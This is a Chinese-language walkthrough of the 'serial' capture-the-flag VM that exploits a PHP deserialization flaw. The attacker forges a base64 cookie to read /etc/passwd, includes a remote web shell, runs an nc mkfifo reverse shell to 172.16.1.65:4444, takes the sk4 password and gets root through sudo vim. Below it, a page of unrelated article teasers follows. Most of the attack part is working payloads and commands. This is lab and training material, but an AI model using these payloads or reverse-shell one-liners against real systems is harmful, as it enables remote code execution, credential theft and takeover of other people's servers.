【kali靶机之serial】--反序列化漏洞实操
kali靶机配置
【我图片里没有截图的默认配置即可】需要改的地方图片里面都有。










使用kali扫描网关的主机。
扫到一个开放了80端口HTTP协议的主机ip

访问80端口
会看到一个文本页面,翻译一下看是什么意思。。


F12查看cookie,是一个base64编码了的东西

使用burpsuite解码功能解码,发现是一个代码
解码前:
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0=
解码后:
0:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";0:7:"Welcome":0:{}}

使用webshell工具扫描目录
右键将地址添加,扫描后查看到两个目录文件 ,访问一下。。

访问后会看到弹出一个文件下载界面。

进行代码审计
1.通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。
构造查看文件的payload
将下列的代码保存到自己的www目录下新建成一个php文件
<?phpclass Log {private $type_log = "/etc/passwd";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));
访问自己构造的payload
也就是访问自己建的payload.php。
查看到了base64编码后的payload。

抓包查看,将user=改为自己构造下的payload
可以看到查到了etc/passwd文件,可以看见sk4用户

再将自己编码后的payload解码
O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:13:"Logtype_log";s:11:"/etc/passwd";}}
<?phpclass Log {private $type_log = "http://172.16.1.65/3.txt";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));
构造连接cmd的payload
新建一个3.txt里面内容如下:
<?php @system($ GET['cmd']);?>
将之前自己www目录下的php文件内容改为如下(地址为自己的本机地址):

将页面显示得到的复制到burpsuite中

结果显示如下

在如图所示的地方写入?cmd=id,显示如下:

添加反弹shell
在?cmd后面添加如下:
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+172.16.1.65+4444+>/tmp/f
没有反应,但是反弹shell成功。

重新抓包,将抓到的数据包该为自己改成的数据包,放包。
显示如下连接靶机成功:,,,,后续可以进行cmd命令操作靶机。


继续使用cmd命令查看靶机用户的账号密码
用户名sk4 ,密码是:KywZmnPWW6tTbW5w

进行远程连接
ssh sk4@192.168.189.157
输入你查到的密码。。。
sudo vim
提权

提权到了root用户

相关文章:
【kali靶机之serial】--反序列化漏洞实操
kali靶机配置 【我图片里没有截图的默认配置即可】需要改的地方图片里面都有。 使用kali扫描网关的主机。 扫到一个开放了80端口HTTP协议的主机ip 访问80端口 会看到一个文本页面,翻译一下看是什么意思。。 F12查看cookie,是一个base64编码了的东西 使…...
学习大数据DAY34 面向对象思想深化练习 将从豆瓣爬取的数据置入自己搭建的网站上
目录 查看电影类型的电影列表 添加电影 修改电影 上机练习 13 使用三层架构完善 web 系统 查看电影类型的电影列表 DAL.py 文件 class MovieDAL(DBHelper): def getMovieByTid(self,typeid): sqlf"""select id,title,release_date,score,tname from Mo…...
【开端】通过Java 过滤器灵活配置URL访问权限,并返回403
一、绪论 在JAVA项目系统中,后端给前端提供接口。但是在某些场景我们需要临时控制接口是否能被访问。或关闭某一接口的访问权限。 比如某一接口被攻击了或者某一接口存在漏洞,在系统不关闭的情况下,如何控制系统的访问权限。 二、控制接口访…...
【C++综合项目】——基于Boost库的搜索引擎(手把手讲解,小白一看就会!!)
目录 一、前言 二、项目的相关背景 ⚡什么是Boost库?⚡ ⚡什么是搜索引擎?⚡ ⚡为什么要做Boost搜索引擎?⚡ 二、搜索引擎的宏观原理 三、搜索引擎技术栈和项目环境 四、正排索引 VS 倒排索引 —— 搜索引擎的具体原理 &#x…...
强化阶段《660》和《880》哪本优先级高?
现在8月份了,正是考研数学复习的关键时刻,大家应该正在痛快的刷题! 如果你正在做660880,那么这篇笔记值得花五分钟看完,一定会让你刷660和880的质量和速度提高一个层次! 首先我们要知道660和880都怎么用&…...
Redis远程字典服务器(2) —— 全局命令
一,使用官方文档 学会使用文档,是一个优秀程序员的必备技能。Redis的命令非常多(上百个),因为Redis是通过键值对存储数据的,key为string类型,但是value可以是其它的数据类型(字符串…...
Android平台如何不推RTMP|不发布RTSP流|不实时录像|不回传GB28181数据时实时快照?
技术背景 我们知道,Android平台不管RTMP推送、轻量级RTSP服务模块还是GB28181设备接入模块,早期,如果需要实现截图功能,又不想依赖Android系统接口,最好的办法是,在底层实现快照截图。 快照截图ÿ…...
tomcat文件上传漏洞练习
1、靶场账号注册 vulfocus 注册后邮箱中点击激活 2、首页选择并开启靶场 复制映射的ip和端口 在浏览器输入ip和端口 改成put并把1.jsp中内容复制进去 3打开哥斯拉,连接上面的网址...
项目实战_图书管理系统(简易版)
你能学到什么 一个简单的项目——图书管理系统(浏览器:谷歌)基础版我们只做两个功能(因为其它的功能涉及的会比较多,索性就放在升级版里了,基础版先入个门) 登录: ⽤⼾输⼊账号,密码完成登录功…...
Gazebo之MyRobot建立
Gazebo之MyRobot建立 1. 源由2. 示例Step 1: 新建一个简单世界Step 2: 新建一个模型(model)Step 3: 机器人组成链接(Links)Step 3.1: 新增底盘(Links/Chassis)Step 3.1.1: 惯性属性(Inertial properties)Step 3.1.2: 视觉(Visual)Step 3.1.3: 碰撞(Collision) Step 3.2: 新增左…...
WPF学习(5)- Border控件(边框布局)+GridSplitter分割窗口
严格来说,Border并不是一个布局控件,因为它并不是Panel的子类,而是Decorator装饰器的子类,而Decorator继承于FrameworkElement。我们要先看看它的父类Decorator。 public class Decorator : FrameworkElement, IAddChild {public…...
ADAS芯片及方案
一 ADAS芯片及方案 1.1 高通SA8775P Snapdragon Ride Flex(SA8775P)舱驾融合平台可通过单颗SoC同时支持数字座舱和智能驾驶功能,在CPU、GPU、NPU的处理能力方面具备强大的性能表现与领先优势,支持实现复杂的智能座舱功能&#x…...
5 mysql 查询语句
1.DML:对数据进行增删改查 提示:Execute执行 Execute and Suppress 执行并且抑制这个警告 person表的结构 /* DML:Data Manipulation Language 数据操作语言,对数据进行 增删改查操作,因为査询的操作太频繁和复杂,将…...
从网络上下载并展示图像数据
一、代码 from PIL import Image import requests from io import BytesIO import matplotlib.pyplot as pltimage_url "https://www.alleycat.org/wp-content/uploads/2019/03/FELV-cat.jpg" response requests.get(image_url) # response.content 获取 HTTP 响…...
Machine-Learning 机器学习
目录 基本概念与分类 工作原理 应用领域 发展趋势 机器学习中的深度学习是如何工作的,以及它如何影响其他机器学习算法? 在机器学习中,哪些特定的数据预处理技术最有效,特别是在处理大规模数据集时? 强化学习在…...
CSP 2023 普及组第一轮 - CSP/S 2023初试题 基础部分解析
第 1 题 在 C 中,下面哪个关键字用于声明一个变量, 其值不能被修改?(B) A. unsigned B. const C. static D. mutable 【const声明的变量不可修改】 第 2 题 八进制数 12345670(8) 和 07654321(8) 的和为(D) A. 222222…...
解锁IPython的跨平台魔法:深入探索%%script命令的神秘力量
IPython 的 %%script 魔法命令是一种强大的工具,它允许你在 IPython 环境中执行外部脚本。这个特性特别适用于需要在 IPython Notebook 中直接与 Web 技术交互的场景。下面我将为你详细介绍 %%script 命令的使用方法,并通过代码示例展示其强大功能。 一…...
如何避免项目发布后用户从浏览器WebPack中看到源码
打包前在config->index.js中设置productionSourceMap为false productionSourceMap: false,...
java学习19VUE
VUE NPM npm的全称是Node Package Manager 中文名为Node.js包管理器,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。NPM可以方便地从一个全球的代码库中获取并安装Node.js模块,这些模块可以用于构建应用程序、…...
Redis7(四)哨兵、集群
哨兵 吹哨人巡查监控后台master主机是否故障,如果故障了根据投票数自动将某一个从库转换为主库,继续对外服务 哨兵的作用: 监控redis运行状态,包括master和slave当master宕机了,能自动将slave转换为master 哨兵的功能…...
什么是大模型技术栈?
什么是技术栈? 咱们可以把大模型想象成一个“超级大脑”,技术栈就是为了打造和运转这个大脑所需要的一整套工具、方法和技术的集合。 用建房子来打个比方,大模型技术栈主要分为四层: 地基(硬件层)&#…...
财税合规数字化建设与税务师事务所行业实践
随着企业监管趋严与数字化不断深入,财税合规已成为企业经营管理中的重要环节。无论是中小企业还是集团公司,都需要建立规范的财务流程,完善纳税申报机制,强化风险自查能力,以实现合法合规,稳定经营。财税合…...
从‘Hello World’到跨平台项目:手把手教你用CMake+Clang/LLVM配置现代C++开发环境
从‘Hello World’到跨平台项目:手把手教你用CMakeClang/LLVM配置现代C开发环境 在C开发领域,构建系统的选择和配置往往决定了项目的可维护性和跨平台能力。传统上,开发者可能依赖单一编译器或IDE内置工具链,但随着项目复杂度提升…...
基于CURSOR的APP自动化测试框架实战指南(一)
1. 为什么选择CURSOR搭建APP自动化测试框架 第一次接触APP自动化测试时,我被各种工具和框架搞得晕头转向。直到遇到CURSOR,才发现原来搭建测试框架可以这么简单。CURSOR最大的优势在于它把复杂的配置过程封装成了可视化操作,就像用积木搭房子…...
【海南大学主办 | 连续4届完成EI检索,见刊检索稳定!清华大学教授、国家杰青等学者出席报告】第五届电子信息工程、大数据与计算机技术国际学术会议 (EIBDCT 2026)
连续4届完成EI检索,见刊检索稳定!清华大学教授、国家杰青等学者出席报告! 第五届电子信息工程、大数据与计算机技术国际学术会议 (EIBDCT 2026) 2026 5th International Conference on Electronic Information Engineering, Big Data and C…...
别再只写静态页面了!鸿蒙Next通讯录开发中,SQLite数据库的增删改查实战避坑指南
鸿蒙Next通讯录开发实战:SQLite数据库操作与UI联动的深度解析 第一次在鸿蒙Next上尝试把通讯录UI和数据库绑定时,我盯着那个空荡荡的List组件发呆了半小时——明明数据已经插入成功了,为什么界面就是不刷新?这个问题困扰了无数刚接…...
哔哩下载姬DownKyi:免费B站视频下载工具,轻松获取8K超高清内容
哔哩下载姬DownKyi:免费B站视频下载工具,轻松获取8K超高清内容 【免费下载链接】downkyi 哔哩下载姬downkyi,哔哩哔哩网站视频下载工具,支持批量下载,支持8K、HDR、杜比视界,提供工具箱(音视频提…...
WeChatIntercept:Mac微信消息防撤回的本地化解决方案
WeChatIntercept:Mac微信消息防撤回的本地化解决方案 【免费下载链接】WeChatIntercept 微信防撤回插件,一键安装,仅MAC可用,支持v3.7.0微信 项目地址: https://gitcode.com/gh_mirrors/we/WeChatIntercept 核心价值&#…...
终极指南:东南大学论文模板的完整解决方案,高效完成毕业论文格式排版
终极指南:东南大学论文模板的完整解决方案,高效完成毕业论文格式排版 【免费下载链接】SEUThesis 项目地址: https://gitcode.com/gh_mirrors/seu/SEUThesis SEUThesis是东南大学官方认证的论文模板库,为本科生、硕士生和博士生提供一…...
为什么你的C# 13主构造函数无法单步执行?微软Roslyn团队2024Q2调试协议变更详解(首批实测报告)
第一章:为什么你的C# 13主构造函数无法单步执行?C# 13 引入的主构造函数(Primary Constructor)语法简洁优雅,但调试时却常出现断点失效、F10/F11 无法单步进入等问题。根本原因在于:**主构造函数不生成独立…...
